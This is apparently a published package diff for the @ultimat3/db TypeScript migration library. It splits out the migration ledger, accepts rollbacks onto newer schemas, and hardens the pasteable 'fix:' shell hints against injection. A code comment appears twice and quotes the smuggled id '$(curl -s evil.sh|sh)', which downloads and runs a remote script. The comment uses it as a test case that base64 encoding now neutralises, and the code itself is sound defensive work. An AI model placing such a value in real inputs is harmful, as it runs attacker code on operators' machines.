@ultimat3/db 24.0.0 → 25.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CLAUDE.md +28 -27
- package/README.md +46 -19
- package/package.json +3 -3
- package/src/client.ts +2 -2
- package/src/column-alter.ts +9 -3
- package/src/default-client.ts +4 -4
- package/src/dependent-view.ts +1 -1
- package/src/destructive.ts +1 -1
- package/src/drift-append-only.ts +53 -0
- package/src/drift-findings.ts +4 -2
- package/src/drift.ts +14 -6
- package/src/entity-shape.ts +5 -0
- package/src/errors.ts +6 -1
- package/src/fake.ts +1 -1
- package/src/generate-append-only.ts +146 -0
- package/src/generate.ts +16 -7
- package/src/index.ts +6 -6
- package/src/introspect-catalog.ts +1 -1
- package/src/introspect.ts +47 -4
- package/src/migrate-rollback.ts +44 -0
- package/src/migrate.ts +44 -154
- package/src/migration-ledger.ts +167 -0
- package/src/pglite-branch.ts +1 -1
- package/src/pglite.ts +3 -3
- package/src/pool-profile.ts +1 -1
- package/src/primary-key.ts +34 -4
- package/src/snapshot-parse.ts +9 -3
- package/src/drift-fixtures.ts +0 -23
- package/src/fake-pglite.ts +0 -32
- package/src/fake-reservable.ts +0 -50
package/src/migrate.ts
CHANGED
|
@@ -3,19 +3,37 @@
|
|
|
3
3
|
// app-version fence is the `migrate` role's contract — a pod must refuse to migrate a database
|
|
4
4
|
// another build already owns, because the alternative is two schemas racing during a rollout.
|
|
5
5
|
|
|
6
|
-
import { appVersion, finiteCount } from '@ultimat3/core';
|
|
6
|
+
import { appVersion, finiteCount, logger, renderFixShellArg } from '@ultimat3/core';
|
|
7
7
|
import { baseClient, type DbClient, type DbConnection, isReservable } from './client';
|
|
8
8
|
import { refuseDependentViews } from './dependent-view';
|
|
9
9
|
import { expectedQueryLoop } from './expected-loop';
|
|
10
|
-
import
|
|
10
|
+
import { ledgerAheadOfBuild } from './migrate-rollback';
|
|
11
11
|
import { migrateConcurrent, migrationConflict, rollbackStepsInvalid } from './migration-errors';
|
|
12
|
+
import type { Migration } from './migration-ledger';
|
|
13
|
+
import {
|
|
14
|
+
auditLedger,
|
|
15
|
+
ensureLedger,
|
|
16
|
+
LEDGER_TABLE,
|
|
17
|
+
migrationChecksum,
|
|
18
|
+
pendingMigrations,
|
|
19
|
+
readLedger,
|
|
20
|
+
} from './migration-ledger';
|
|
12
21
|
import { poolProfileFor } from './pool-profile';
|
|
13
22
|
import { raw, sql } from './sql';
|
|
14
|
-
import { SQLSTATE, sqlState } from './sqlstate';
|
|
15
23
|
import { statementsOf } from './statement-split';
|
|
16
24
|
import { withTransaction } from './transaction';
|
|
17
25
|
|
|
18
|
-
export
|
|
26
|
+
export type { LedgerRow, Migration } from './migration-ledger';
|
|
27
|
+
export {
|
|
28
|
+
auditLedger,
|
|
29
|
+
checksumOf,
|
|
30
|
+
ensureLedger,
|
|
31
|
+
isLedgerMissing,
|
|
32
|
+
LEDGER_TABLE,
|
|
33
|
+
migrationChecksum,
|
|
34
|
+
pendingMigrations,
|
|
35
|
+
readLedger,
|
|
36
|
+
} from './migration-ledger';
|
|
19
37
|
|
|
20
38
|
/** Stable, arbitrary: every Ultimate migrator contends on this one key. */
|
|
21
39
|
export const MIGRATION_LOCK_KEY = 4_919_202_607;
|
|
@@ -32,27 +50,6 @@ export const MIGRATION_LOCK_WAIT_MS = 60_000;
|
|
|
32
50
|
/** One poll per half-second: cheap against a lock that is usually free on the first try. */
|
|
33
51
|
export const MIGRATION_LOCK_POLL_MS = 500;
|
|
34
52
|
|
|
35
|
-
export interface Migration {
|
|
36
|
-
/** Sort key and primary key. `20260726120000_add_publish_at`. */
|
|
37
|
-
readonly id: string;
|
|
38
|
-
readonly name: string;
|
|
39
|
-
readonly up: string;
|
|
40
|
-
readonly down: string;
|
|
41
|
-
/** Computed from `up` when absent. */
|
|
42
|
-
readonly checksum?: string | undefined;
|
|
43
|
-
/** The schema this migration leaves behind. `drift.ts` compares the live DB against it. */
|
|
44
|
-
readonly snapshot?: SchemaDescription | undefined;
|
|
45
|
-
}
|
|
46
|
-
|
|
47
|
-
export interface LedgerRow {
|
|
48
|
-
readonly id: string;
|
|
49
|
-
readonly name: string;
|
|
50
|
-
readonly checksum: string;
|
|
51
|
-
readonly applied_at: string;
|
|
52
|
-
readonly app_version: string;
|
|
53
|
-
readonly duration_ms: number;
|
|
54
|
-
}
|
|
55
|
-
|
|
56
53
|
export interface AppliedMigration {
|
|
57
54
|
readonly id: string;
|
|
58
55
|
readonly name: string;
|
|
@@ -65,6 +62,11 @@ export interface MigrationReport {
|
|
|
65
62
|
readonly skipped: readonly string[];
|
|
66
63
|
readonly durationMs: number;
|
|
67
64
|
readonly appVersion: string;
|
|
65
|
+
/**
|
|
66
|
+
* Ledger ids a NEWER build applied, when this build is a rollback onto them — accepted, never
|
|
67
|
+
* applied or reverted (`migrate-rollback.ts`). Empty on every ordinary run.
|
|
68
|
+
*/
|
|
69
|
+
readonly ahead: readonly string[];
|
|
68
70
|
}
|
|
69
71
|
|
|
70
72
|
export interface MigrateOptions {
|
|
@@ -83,14 +85,6 @@ export interface MigrateOptions {
|
|
|
83
85
|
readonly lockTimeoutMs?: number | undefined;
|
|
84
86
|
}
|
|
85
87
|
|
|
86
|
-
export function checksumOf(text: string): string {
|
|
87
|
-
return new Bun.CryptoHasher('sha256').update(text.trim()).digest('hex').slice(0, 32);
|
|
88
|
-
}
|
|
89
|
-
|
|
90
|
-
export function migrationChecksum(migration: Migration): string {
|
|
91
|
-
return migration.checksum ?? checksumOf(migration.up);
|
|
92
|
-
}
|
|
93
|
-
|
|
94
88
|
/**
|
|
95
89
|
* Core's, never a second read of the key: `x_migrations.app_version` and `x_backfills.app_version`
|
|
96
90
|
* are two durable columns an operator reads side by side, and a package defaulting `APP_VERSION`
|
|
@@ -100,125 +94,6 @@ export function runningAppVersion(explicit?: string | undefined): string {
|
|
|
100
94
|
return explicit ?? appVersion();
|
|
101
95
|
}
|
|
102
96
|
|
|
103
|
-
export async function ensureLedger(client: DbClient): Promise<void> {
|
|
104
|
-
await client.execute(sql`
|
|
105
|
-
create table if not exists ${raw(LEDGER_TABLE)} (
|
|
106
|
-
id text primary key,
|
|
107
|
-
name text not null,
|
|
108
|
-
checksum text not null,
|
|
109
|
-
applied_at timestamptz not null default now(),
|
|
110
|
-
app_version text not null,
|
|
111
|
-
duration_ms integer not null
|
|
112
|
-
)
|
|
113
|
-
`);
|
|
114
|
-
}
|
|
115
|
-
|
|
116
|
-
/**
|
|
117
|
-
* Whether `error` is "the ledger table does not exist" and nothing else.
|
|
118
|
-
*
|
|
119
|
-
* Everything else — a permission denied, a server in recovery, a timeout — is a failure to read the
|
|
120
|
-
* ledger, not an empty one, and a caller treating the two alike reports every migration as pending
|
|
121
|
-
* against a database it cannot see.
|
|
122
|
-
*
|
|
123
|
-
* The SQLSTATE comes from `sqlState()` and from nowhere else: this function used to read
|
|
124
|
-
* `sourceError.code` itself, which is the SQLSTATE on PGlite and the literal string
|
|
125
|
-
* `ERR_POSTGRES_SERVER_ERROR` on `Bun.SQL`, so it answered `false` for a genuinely missing ledger
|
|
126
|
-
* on every production driver. One reader, one answer (axiom 1).
|
|
127
|
-
*/
|
|
128
|
-
export function isLedgerMissing(error: unknown): boolean {
|
|
129
|
-
return sqlState(error) === SQLSTATE.undefinedTable;
|
|
130
|
-
}
|
|
131
|
-
|
|
132
|
-
export async function readLedger(client: DbClient): Promise<readonly LedgerRow[]> {
|
|
133
|
-
return client.query<LedgerRow>(sql`
|
|
134
|
-
select id, name, checksum, applied_at, app_version, duration_ms
|
|
135
|
-
from ${raw(LEDGER_TABLE)}
|
|
136
|
-
order by id
|
|
137
|
-
`);
|
|
138
|
-
}
|
|
139
|
-
|
|
140
|
-
/**
|
|
141
|
-
* Every reason a migrator must stop before touching the schema. Pure, so `x db status` can
|
|
142
|
-
* report the same verdict without holding the lock.
|
|
143
|
-
*/
|
|
144
|
-
export function auditLedger(
|
|
145
|
-
ledger: readonly LedgerRow[],
|
|
146
|
-
migrations: readonly Migration[],
|
|
147
|
-
appVersion: string,
|
|
148
|
-
): void {
|
|
149
|
-
const known = new Map(migrations.map((migration) => [migration.id, migration]));
|
|
150
|
-
|
|
151
|
-
// The predicate is "this build does not ship it" and NOTHING else. It used to also require
|
|
152
|
-
// `row.app_version !== appVersion`, which switched the audit off wherever the two agree —
|
|
153
|
-
// `runningAppVersion()` answers `dev` for every development build, so a migration applied by an
|
|
154
|
-
// earlier `dev` build and since deleted was invisible here, and `expectedSchema` then dropped
|
|
155
|
-
// its table from the drift comparison: `ok: true` against a database that still has the table.
|
|
156
|
-
// The version is a detail of the ANSWER, so it moved into the cause.
|
|
157
|
-
const foreign = ledger.filter((row) => !known.has(row.id));
|
|
158
|
-
const first = foreign[0];
|
|
159
|
-
if (first !== undefined) {
|
|
160
|
-
throw migrationConflict(
|
|
161
|
-
`the ledger records migration "${first.id}" applied by app version "${first.app_version}" ` +
|
|
162
|
-
`but this build is "${appVersion}" and does not ship it`,
|
|
163
|
-
// `x db status` has never existed — the subcommands are gen, migrate, reset, studio, branch
|
|
164
|
-
// and backfill — and this is one of the two errors most likely to fire during a real deploy.
|
|
165
|
-
// A `fix:` is copied and run verbatim, so it names the ledger read that works anywhere psql
|
|
166
|
-
// does, and the one edit that resolves the disagreement.
|
|
167
|
-
conflictFix(first),
|
|
168
|
-
);
|
|
169
|
-
}
|
|
170
|
-
|
|
171
|
-
for (const row of ledger) {
|
|
172
|
-
const migration = known.get(row.id);
|
|
173
|
-
if (migration === undefined) continue;
|
|
174
|
-
const checksum = migrationChecksum(migration);
|
|
175
|
-
if (checksum === row.checksum) continue;
|
|
176
|
-
throw migrationConflict(
|
|
177
|
-
`migration "${row.id}" was applied with checksum ${row.checksum} but now hashes ${checksum}`,
|
|
178
|
-
`x db gen "fix ${migration.name}" # never edit an applied migration, add a new one`,
|
|
179
|
-
);
|
|
180
|
-
}
|
|
181
|
-
}
|
|
182
|
-
|
|
183
|
-
/**
|
|
184
|
-
* The migration id is the DATABASE's own text — whoever can write a ledger row picks what lands in
|
|
185
|
-
* a line an operator pastes — and it goes inside SHELL DOUBLE QUOTES, where `$(…)` and a backtick
|
|
186
|
-
* substitute before psql is reached at all. Measured before this screen: an id of
|
|
187
|
-
* `$(curl -s evil.sh|sh)` produced exactly that command.
|
|
188
|
-
*
|
|
189
|
-
* So the id does not go in as text. It goes in **base64**, decoded by Postgres itself
|
|
190
|
-
* (`convert_from(decode(…,'base64'),'UTF8')`), and the base64 alphabet is `A-Za-z0-9+/=` — every
|
|
191
|
-
* character of it inert in shell double quotes and inert inside a SQL string literal. One command
|
|
192
|
-
* shape for every ledger row there can be, with no screen, no branch and no escape to get wrong.
|
|
193
|
-
*
|
|
194
|
-
* It DID branch: `shellInertIdentifier` screened both the id and the app version, and a refusal
|
|
195
|
-
* degraded the whole line to prose naming no command — so a row could take the one instruction
|
|
196
|
-
* away from the operator by holding a space. An error that stops being an instruction under
|
|
197
|
-
* adversarial input is an error the adversary silenced (axiom 4). The version is not in the line
|
|
198
|
-
* at all any more; the CAUSE already names it, and the fix's job is to be runnable.
|
|
199
|
-
*
|
|
200
|
-
* The id is unreadable in the command, and that is the trade: `cause:` is where a human reads
|
|
201
|
-
* which migration this is, `fix:` is where they paste. `psql` echoes the row count it deleted.
|
|
202
|
-
*/
|
|
203
|
-
function conflictFix(row: LedgerRow): string {
|
|
204
|
-
const encodedId = Buffer.from(row.id, 'utf8').toString('base64');
|
|
205
|
-
return (
|
|
206
|
-
'deploy the app version this error names — or, if that build is gone, drop its row: ' +
|
|
207
|
-
`psql "$DATABASE_URL" -c "delete from ${LEDGER_TABLE} ` +
|
|
208
|
-
`where id = convert_from(decode('${encodedId}', 'base64'), 'UTF8')"`
|
|
209
|
-
);
|
|
210
|
-
}
|
|
211
|
-
|
|
212
|
-
export function pendingMigrations(
|
|
213
|
-
ledger: readonly LedgerRow[],
|
|
214
|
-
migrations: readonly Migration[],
|
|
215
|
-
): readonly Migration[] {
|
|
216
|
-
const applied = new Set(ledger.map((row) => row.id));
|
|
217
|
-
return [...migrations]
|
|
218
|
-
.sort((a, b) => (a.id < b.id ? -1 : 1))
|
|
219
|
-
.filter((migration) => !applied.has(migration.id));
|
|
220
|
-
}
|
|
221
|
-
|
|
222
97
|
/**
|
|
223
98
|
* Hold the migration lock on **one** session for the whole of `fn`, which runs on that session.
|
|
224
99
|
*
|
|
@@ -368,8 +243,22 @@ export async function migrate(options: MigrateOptions): Promise<MigrationReport>
|
|
|
368
243
|
finiteCount('migrate', 'lockWaitMs', options.lockWaitMs ?? MIGRATION_LOCK_WAIT_MS, 0),
|
|
369
244
|
async (session) => {
|
|
370
245
|
await ensureLedger(session);
|
|
371
|
-
const
|
|
246
|
+
const read = await readLedger(session);
|
|
247
|
+
// A rollback to an older image meets rows the newer build applied. Accepted, applied over by
|
|
248
|
+
// nothing, and said out loud: the pre-upgrade Job failing here was the rollback failing.
|
|
249
|
+
const rolledBack = ledgerAheadOfBuild(read, options.migrations);
|
|
250
|
+
const ledger = rolledBack?.known ?? read;
|
|
372
251
|
auditLedger(ledger, options.migrations, appVersion);
|
|
252
|
+
const ahead = rolledBack?.ahead.map((row) => row.id) ?? [];
|
|
253
|
+
if (rolledBack !== undefined) {
|
|
254
|
+
logger.warn('ultimate migrate ledger ahead of build', {
|
|
255
|
+
appVersion,
|
|
256
|
+
ahead,
|
|
257
|
+
aheadAppVersions: [...new Set(rolledBack.ahead.map((row) => row.app_version))],
|
|
258
|
+
cause: `the ledger holds ${ahead.length} migration(s) newer than every one build "${appVersion}" ships — a rollback onto a newer build's schema; nothing was applied`,
|
|
259
|
+
fix: 'x db migrate --json # after the rollback, from the newer build: it finds its migrations already applied',
|
|
260
|
+
});
|
|
261
|
+
}
|
|
373
262
|
|
|
374
263
|
const pending = pendingMigrations(ledger, options.migrations);
|
|
375
264
|
// A statement per migration and a transaction per migration is the point, not an N+1 to batch:
|
|
@@ -418,6 +307,7 @@ export async function migrate(options: MigrateOptions): Promise<MigrationReport>
|
|
|
418
307
|
skipped: ledger.map((row) => row.id),
|
|
419
308
|
durationMs: Math.round(performance.now() - started),
|
|
420
309
|
appVersion,
|
|
310
|
+
ahead,
|
|
421
311
|
};
|
|
422
312
|
},
|
|
423
313
|
);
|
|
@@ -473,7 +363,7 @@ export async function rollback(options: RollbackOptions): Promise<readonly strin
|
|
|
473
363
|
`migration "${row.id}" is in the ledger but not in this build, so its down SQL is unknown`,
|
|
474
364
|
// Same reason as `auditLedger`'s: `x db status` does not exist. The `down` SQL only
|
|
475
365
|
// exists in the build that shipped it, so the fix is the read that names that build.
|
|
476
|
-
`psql "$DATABASE_URL" -c "select id, app_version from ${LEDGER_TABLE} ` +
|
|
366
|
+
`psql "$DATABASE_URL" -c "select id, app_version from ${renderFixShellArg(LEDGER_TABLE, '<ledger table>')} ` +
|
|
477
367
|
`order by id desc limit 5" # deploy the build that shipped the migration ` +
|
|
478
368
|
`whose id is base64 ${Buffer.from(row.id, 'utf8').toString('base64')}, ` +
|
|
479
369
|
'and roll back there — its down SQL exists nowhere else',
|
|
@@ -0,0 +1,167 @@
|
|
|
1
|
+
// Single responsibility: the `x_migrations` ledger — what a migration IS, the table that records
|
|
2
|
+
// one applied, and the pure verdicts read off it (checksum drift, a foreign row, what is pending).
|
|
3
|
+
// Split from `migrate.ts`, which keeps the lock, the apply loop and the rollback; `migrate.ts`
|
|
4
|
+
// re-exports every name here, so its public surface is unchanged.
|
|
5
|
+
|
|
6
|
+
import type { DbClient } from './client';
|
|
7
|
+
import type { SchemaDescription } from './introspect';
|
|
8
|
+
import { migrationConflict } from './migration-errors';
|
|
9
|
+
import { migrationNameArg } from './primary-key';
|
|
10
|
+
import { raw, sql } from './sql';
|
|
11
|
+
import { SQLSTATE, sqlState } from './sqlstate';
|
|
12
|
+
|
|
13
|
+
export const LEDGER_TABLE = 'x_migrations';
|
|
14
|
+
|
|
15
|
+
export interface Migration {
|
|
16
|
+
/** Sort key and primary key. `20260726120000_add_publish_at`. */
|
|
17
|
+
readonly id: string;
|
|
18
|
+
readonly name: string;
|
|
19
|
+
readonly up: string;
|
|
20
|
+
readonly down: string;
|
|
21
|
+
/** Computed from `up` when absent. */
|
|
22
|
+
readonly checksum?: string | undefined;
|
|
23
|
+
/** The schema this migration leaves behind. `drift.ts` compares the live DB against it. */
|
|
24
|
+
readonly snapshot?: SchemaDescription | undefined;
|
|
25
|
+
}
|
|
26
|
+
|
|
27
|
+
export interface LedgerRow {
|
|
28
|
+
readonly id: string;
|
|
29
|
+
readonly name: string;
|
|
30
|
+
readonly checksum: string;
|
|
31
|
+
readonly applied_at: string;
|
|
32
|
+
readonly app_version: string;
|
|
33
|
+
readonly duration_ms: number;
|
|
34
|
+
}
|
|
35
|
+
|
|
36
|
+
/**
|
|
37
|
+
* CRLF is folded to LF first: a Windows checkout under `core.autocrlf=true` reads the same migration
|
|
38
|
+
* as CRLF, and an image built from it must not refuse a database a Linux image migrated. LF input
|
|
39
|
+
* is hashed byte-for-byte as before, so no checksum already in a ledger moves. A lone `\r` is SQL.
|
|
40
|
+
*/
|
|
41
|
+
export function checksumOf(text: string): string {
|
|
42
|
+
const lf = text.replaceAll('\r\n', '\n');
|
|
43
|
+
return new Bun.CryptoHasher('sha256').update(lf.trim()).digest('hex').slice(0, 32);
|
|
44
|
+
}
|
|
45
|
+
|
|
46
|
+
export function migrationChecksum(migration: Migration): string {
|
|
47
|
+
return migration.checksum ?? checksumOf(migration.up);
|
|
48
|
+
}
|
|
49
|
+
|
|
50
|
+
export async function ensureLedger(client: DbClient): Promise<void> {
|
|
51
|
+
await client.execute(sql`
|
|
52
|
+
create table if not exists ${raw(LEDGER_TABLE)} (
|
|
53
|
+
id text primary key,
|
|
54
|
+
name text not null,
|
|
55
|
+
checksum text not null,
|
|
56
|
+
applied_at timestamptz not null default now(),
|
|
57
|
+
app_version text not null,
|
|
58
|
+
duration_ms integer not null
|
|
59
|
+
)
|
|
60
|
+
`);
|
|
61
|
+
}
|
|
62
|
+
|
|
63
|
+
/**
|
|
64
|
+
* Whether `error` is "the ledger table does not exist" and nothing else.
|
|
65
|
+
*
|
|
66
|
+
* Everything else — a permission denied, a server in recovery, a timeout — is a failure to read the
|
|
67
|
+
* ledger, not an empty one, and a caller treating the two alike reports every migration as pending
|
|
68
|
+
* against a database it cannot see.
|
|
69
|
+
*
|
|
70
|
+
* The SQLSTATE comes from `sqlState()` and from nowhere else: this function used to read
|
|
71
|
+
* `sourceError.code` itself, which is the SQLSTATE on PGlite and the literal string
|
|
72
|
+
* `ERR_POSTGRES_SERVER_ERROR` on `Bun.SQL`, so it answered `false` for a genuinely missing ledger
|
|
73
|
+
* on every production driver. One reader, one answer (axiom 1).
|
|
74
|
+
*/
|
|
75
|
+
export function isLedgerMissing(error: unknown): boolean {
|
|
76
|
+
return sqlState(error) === SQLSTATE.undefinedTable;
|
|
77
|
+
}
|
|
78
|
+
|
|
79
|
+
export async function readLedger(client: DbClient): Promise<readonly LedgerRow[]> {
|
|
80
|
+
return client.query<LedgerRow>(sql`
|
|
81
|
+
select id, name, checksum, applied_at, app_version, duration_ms
|
|
82
|
+
from ${raw(LEDGER_TABLE)}
|
|
83
|
+
order by id
|
|
84
|
+
`);
|
|
85
|
+
}
|
|
86
|
+
|
|
87
|
+
/**
|
|
88
|
+
* Every reason a migrator must stop before touching the schema. Pure, so `x db status` can
|
|
89
|
+
* report the same verdict without holding the lock.
|
|
90
|
+
*/
|
|
91
|
+
export function auditLedger(
|
|
92
|
+
ledger: readonly LedgerRow[],
|
|
93
|
+
migrations: readonly Migration[],
|
|
94
|
+
appVersion: string,
|
|
95
|
+
): void {
|
|
96
|
+
const known = new Map(migrations.map((migration) => [migration.id, migration]));
|
|
97
|
+
|
|
98
|
+
// The predicate is "this build does not ship it" and NOTHING else. It used to also require
|
|
99
|
+
// `row.app_version !== appVersion`, which switched the audit off wherever the two agree —
|
|
100
|
+
// `runningAppVersion()` answers `dev` for every development build, so a migration applied by an
|
|
101
|
+
// earlier `dev` build and since deleted was invisible here, and `expectedSchema` then dropped
|
|
102
|
+
// its table from the drift comparison: `ok: true` against a database that still has the table.
|
|
103
|
+
// The version is a detail of the ANSWER, so it moved into the cause.
|
|
104
|
+
const foreign = ledger.filter((row) => !known.has(row.id));
|
|
105
|
+
const first = foreign[0];
|
|
106
|
+
if (first !== undefined) {
|
|
107
|
+
throw migrationConflict(
|
|
108
|
+
`the ledger records migration "${first.id}" applied by app version "${first.app_version}" ` +
|
|
109
|
+
`but this build is "${appVersion}" and does not ship it`,
|
|
110
|
+
// `x db status` has never existed — the subcommands are gen, migrate, reset, studio, branch
|
|
111
|
+
// and backfill — and this is one of the two errors most likely to fire during a real deploy.
|
|
112
|
+
// A `fix:` is copied and run verbatim, so it names the ledger read that works anywhere psql
|
|
113
|
+
// does, and the one edit that resolves the disagreement.
|
|
114
|
+
conflictFix(first),
|
|
115
|
+
);
|
|
116
|
+
}
|
|
117
|
+
|
|
118
|
+
for (const row of ledger) {
|
|
119
|
+
const migration = known.get(row.id);
|
|
120
|
+
if (migration === undefined) continue;
|
|
121
|
+
const checksum = migrationChecksum(migration);
|
|
122
|
+
if (checksum === row.checksum) continue;
|
|
123
|
+
throw migrationConflict(
|
|
124
|
+
`migration "${row.id}" was applied with checksum ${row.checksum} but now hashes ${checksum}`,
|
|
125
|
+
`x db gen ${migrationNameArg(`fix ${migration.name}`)} # never edit an applied migration, add a new one`,
|
|
126
|
+
);
|
|
127
|
+
}
|
|
128
|
+
}
|
|
129
|
+
|
|
130
|
+
/**
|
|
131
|
+
* The migration id is the DATABASE's own text — whoever can write a ledger row picks what lands in
|
|
132
|
+
* a line an operator pastes — and it goes inside SHELL DOUBLE QUOTES, where `$(…)` and a backtick
|
|
133
|
+
* substitute before psql is reached at all. Measured before this screen: an id of
|
|
134
|
+
* `$(curl -s evil.sh|sh)` produced exactly that command.
|
|
135
|
+
*
|
|
136
|
+
* So the id does not go in as text. It goes in **base64**, decoded by Postgres itself
|
|
137
|
+
* (`convert_from(decode(…,'base64'),'UTF8')`), and the base64 alphabet is `A-Za-z0-9+/=` — every
|
|
138
|
+
* character of it inert in shell double quotes and inert inside a SQL string literal. One command
|
|
139
|
+
* shape for every ledger row there can be, with no screen, no branch and no escape to get wrong.
|
|
140
|
+
*
|
|
141
|
+
* It DID branch: `shellInertIdentifier` screened both the id and the app version, and a refusal
|
|
142
|
+
* degraded the whole line to prose naming no command — so a row could take the one instruction
|
|
143
|
+
* away from the operator by holding a space. An error that stops being an instruction under
|
|
144
|
+
* adversarial input is an error the adversary silenced (axiom 4). The version is not in the line
|
|
145
|
+
* at all any more; the CAUSE already names it, and the fix's job is to be runnable.
|
|
146
|
+
*
|
|
147
|
+
* The id is unreadable in the command, and that is the trade: `cause:` is where a human reads
|
|
148
|
+
* which migration this is, `fix:` is where they paste. `psql` echoes the row count it deleted.
|
|
149
|
+
*/
|
|
150
|
+
function conflictFix(row: LedgerRow): string {
|
|
151
|
+
const encodedId = Buffer.from(row.id, 'utf8').toString('base64');
|
|
152
|
+
return (
|
|
153
|
+
'deploy the app version this error names — or, if that build is gone, drop its row: ' +
|
|
154
|
+
`psql "$DATABASE_URL" -c "delete from ${LEDGER_TABLE} ` +
|
|
155
|
+
`where id = convert_from(decode('${encodedId}', 'base64'), 'UTF8')"`
|
|
156
|
+
);
|
|
157
|
+
}
|
|
158
|
+
|
|
159
|
+
export function pendingMigrations(
|
|
160
|
+
ledger: readonly LedgerRow[],
|
|
161
|
+
migrations: readonly Migration[],
|
|
162
|
+
): readonly Migration[] {
|
|
163
|
+
const applied = new Set(ledger.map((row) => row.id));
|
|
164
|
+
return [...migrations]
|
|
165
|
+
.sort((a, b) => (a.id < b.id ? -1 : 1))
|
|
166
|
+
.filter((migration) => !applied.has(migration.id));
|
|
167
|
+
}
|
package/src/pglite-branch.ts
CHANGED
|
@@ -22,7 +22,7 @@ export interface PgliteBranchOptions {
|
|
|
22
22
|
}
|
|
23
23
|
|
|
24
24
|
export interface PgliteBranchInfo extends BranchInfo {
|
|
25
|
-
/** Hand this straight to `
|
|
25
|
+
/** Hand this straight to `pgliteClient({ dataDir })`. */
|
|
26
26
|
readonly dataDir: string;
|
|
27
27
|
}
|
|
28
28
|
|
package/src/pglite.ts
CHANGED
|
@@ -175,7 +175,7 @@ async function restore(
|
|
|
175
175
|
}
|
|
176
176
|
}
|
|
177
177
|
|
|
178
|
-
/** Boots one embedded Postgres. Costs seconds — `
|
|
178
|
+
/** Boots one embedded Postgres. Costs seconds — `pgliteClient` calls it exactly once. */
|
|
179
179
|
export async function loadPgliteDriver(options: PgliteOptions = {}): Promise<PgliteDriver> {
|
|
180
180
|
if (options.driver !== undefined) return options.driver;
|
|
181
181
|
const dataDir = options.dataDir ?? PGLITE_MEMORY;
|
|
@@ -249,8 +249,8 @@ function rowsOf(result: PgliteResult): number {
|
|
|
249
249
|
: result.rows.length;
|
|
250
250
|
}
|
|
251
251
|
|
|
252
|
-
/** Lazily boots: constructing a client opens nothing, exactly like `
|
|
253
|
-
export function
|
|
252
|
+
/** Lazily boots: constructing a client opens nothing, exactly like `postgresClient`. */
|
|
253
|
+
export function pgliteClient(options: PgliteOptions = {}): PgliteClient {
|
|
254
254
|
// One in-flight boot, shared. PGlite takes seconds to start, so two concurrent first queries
|
|
255
255
|
// would otherwise build two instances over the same data directory and orphan one of them.
|
|
256
256
|
let booting: Promise<PgliteDriver> | undefined;
|
package/src/pool-profile.ts
CHANGED
|
@@ -137,7 +137,7 @@ export function assertPoolProfile(profile: PoolProfile): PoolProfile {
|
|
|
137
137
|
assert(
|
|
138
138
|
Number.isSafeInteger(value) && value >= min,
|
|
139
139
|
`pool profile ${option} is ${String(value)}; it must be a whole number of ${min === 1 ? 'at least 1' : '0 or more, where 0 is the documented "no bound"'}`,
|
|
140
|
-
`pass a whole number for ${option} in
|
|
140
|
+
`pass a whole number for ${option} in postgresClient({ profile }), and parse an environment value first — Number(process.env.DATABASE_${option.toUpperCase()} ?? '') is NaN when the variable is unset`,
|
|
141
141
|
);
|
|
142
142
|
};
|
|
143
143
|
whole('max', profile.max, 1);
|
package/src/primary-key.ts
CHANGED
|
@@ -3,7 +3,7 @@
|
|
|
3
3
|
// points at. `diffTable` had no arm for it, so a changed `primaryKey` wrote no statement while the
|
|
4
4
|
// snapshot beside it recorded the new key, and drift had no comparison to notice with.
|
|
5
5
|
|
|
6
|
-
import { assert } from '@ultimat3/core';
|
|
6
|
+
import { assert, renderFixLiteral, renderFixShellArg } from '@ultimat3/core';
|
|
7
7
|
import { defaultExpression } from './column-default';
|
|
8
8
|
import type { EntityDescriptionLike } from './entity-shape';
|
|
9
9
|
import type { Plan } from './foreign-key-plan';
|
|
@@ -13,6 +13,33 @@ import { MAX_IDENTIFIER_BYTES } from './invariant-ddl';
|
|
|
13
13
|
import { migrationIrreversible } from './migration-errors';
|
|
14
14
|
import { identifier } from './sql';
|
|
15
15
|
|
|
16
|
+
/**
|
|
17
|
+
* Inside shell double quotes a `$`, a backtick and a `!` still run; everything else — a quote, a
|
|
18
|
+
* `;`, a space — is inert once `JSON.stringify` has escaped `"` and `\\`.
|
|
19
|
+
*/
|
|
20
|
+
const DOUBLE_QUOTE_LIVE = /[$`!]/;
|
|
21
|
+
|
|
22
|
+
/**
|
|
23
|
+
* A control character — C0, DEL, C1. `JSON.stringify` writes one as an escape (`\\n`), and inside
|
|
24
|
+
* shell double quotes that escape is passed on LITERALLY, so the pasted line would name a different
|
|
25
|
+
* migration than the one refused. The placeholder is honest; an escape is not.
|
|
26
|
+
*/
|
|
27
|
+
// biome-ignore lint/suspicious/noControlCharactersInRegex: matching them is the point.
|
|
28
|
+
const CONTROL = /[\u0000-\u001f\u007f-\u009f]/;
|
|
29
|
+
|
|
30
|
+
/**
|
|
31
|
+
* A migration NAME as the one argument of `x db gen "…"`, for a `fix:` a reader pastes. It is a
|
|
32
|
+
* description (`add posts`), never an identifier, so it keeps its spaces; a name carrying shell
|
|
33
|
+
* syntax becomes the placeholder rather than a second command (plan 101 row S12). Lives here, the
|
|
34
|
+
* lowest of the three files echoing one, so `generate.ts` and `migrate.ts` share one rule.
|
|
35
|
+
*/
|
|
36
|
+
export const migrationNameArg = (name: string): string =>
|
|
37
|
+
renderFixLiteral(
|
|
38
|
+
// A leading `-` reads as a flag to `x db gen` however it is quoted (sweep 1c audit, L3).
|
|
39
|
+
DOUBLE_QUOTE_LIVE.test(name) || CONTROL.test(name) || name.startsWith('-') ? undefined : name,
|
|
40
|
+
'"<a migration name>"',
|
|
41
|
+
);
|
|
42
|
+
|
|
16
43
|
/**
|
|
17
44
|
* `<table>_pkey` — what Postgres names the constraint an inline `primary key (…)` creates, which is
|
|
18
45
|
* how `createTable` has always written one. Written out by name on every `add` here, so the name a
|
|
@@ -27,7 +54,10 @@ export function primaryKeyName(table: string): string {
|
|
|
27
54
|
assert(
|
|
28
55
|
bytes <= MAX_IDENTIFIER_BYTES,
|
|
29
56
|
`primary key constraint "${name}" is ${bytes} bytes; Postgres truncates at ${MAX_IDENTIFIER_BYTES}, so the name the database holds is not this one`,
|
|
30
|
-
|
|
57
|
+
// By `relname`, not `'<table>'::regclass`: a regclass literal re-parses the name as SQL, so a
|
|
58
|
+
// mixed-case table needs inner double quotes — which end the shell string. A name that is not
|
|
59
|
+
// one plain shell word is also not a safe SQL literal, so it is the placeholder (plan 101 S12).
|
|
60
|
+
